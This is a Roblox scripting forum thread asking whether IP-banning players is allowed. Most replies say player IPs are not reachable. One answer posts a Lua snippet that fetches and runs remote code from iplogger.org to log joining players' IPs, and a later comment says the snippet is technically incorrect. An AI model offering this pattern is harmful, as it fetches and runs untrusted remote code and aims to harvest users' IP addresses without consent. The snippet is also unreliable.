Scripting Helpers is winding down operations and is now read-only. More info→

IP-Banning possible, but is it allowed?

Asked by

5 years ago

Okay, so am I allowed to save a player's IP to a database, and when a player joins it gets the players IP, and checks trough the database if there is an IP registerd, and if it is banned that account (possible alt to ban-evade) also gets banned.

Is that allowed? As It's about IP's, and I'm not pretty sure about it being allowed.

You can't get the player's ip DaggerOf_Fly -24 — 5y

IP banning is not a good way and if you found a way to retrieve the IP you should report it to Roblox, I'm guessing they don't want that. gullet 471 — 5y

yeah User#23365 30 — 5y

If you have found a way to retrieve a user's IP, report it to Roblox IMMEDIATELY. This is a serious security flaw that needs to be addressed. SummerEquinox 643 — 5y

View all comments (5 more)

yeah, i'll report it UnlimitedKeeping 88 — 5y

IP addresses used to be available, but not anymore. There is now no way of retrieving a user's IP address. Link150 1355 — 5y

Wouldn't you actually have to hack something to get IPs? @Link150 User#19524 175 — 5y

Hack - or find a vulnerability or backdoor which enables you to reach it - nontheless it is not intended behavior and should be reported. SummerEquinox 643 — 5y

You can get players ip, you'd just use httpget to connect the client to an external server which retrieves their ip. 3ora 54 — 5y

2 answers

Answered by

IrishStukov 20

5 years ago

If you somehow obtained an IP over Roblox you should report it immediately. I would also assume that IP Banning is not allowed. But you can always just ban users through their username

IP banning is not allowed - because in order to IP ban, you would need access to the user's IP, which Roblox developers are not supposed to be able to reach. SummerEquinox 643 — 5y

-2

Answered by

3ora 54

5 years ago

Edited 5 years ago

It's easy to retrieve someones ip, you just set it so when a player joins, it connects them to an external website which then retrieves their ip. HttpGet could easily do the job. But if you are thinking about using this method, please don't unless you're ONLY using it for ip bans.

game.Players.PlayerAdded:Connect(function()
    loadstring(game:httpget(('domain here, you can use iplogger.org'),true))()
end)
--The domain "iplogger.org" will log any client which has ran that loadstring.

Is this actually a thing? I remember someone saying something about it on the DevForum once but I more or less disregarded it. I'm not too knowledgeable with Http, so I don't know what is/isn't possible. SummerEquinox 643 — 5y

Yes, this is actually a thing, if you create a web domain which is able to log ips. You'd just have to do: "loadstring(game:httpget(('domain here'), true))() 3ora 54 — 5y

Wow... that's insane. SummerEquinox 643 — 5y

now we gotta report this "issue" and get a free boss white hat ~~ Astralyst 389 — 5y

View all comments (2 more)

It's not a issue, it's been possible on roblox ever since loadstrings were implemented into the lua environment. 3ora 54 — 5y

You cannot use loadstring nor make your own HTTP requests on the client which makes this answer completely incorrect. Making a request to a site that returns the requester's IP will only give you the server's IP (or rather the proxy's it may be using) because you can only make HTTP requests on the server. The server's IP is public information anyways. ozzyDrive 670 — 5y

IP-Banning possible, but is it allowed?

2 answers

Answer this question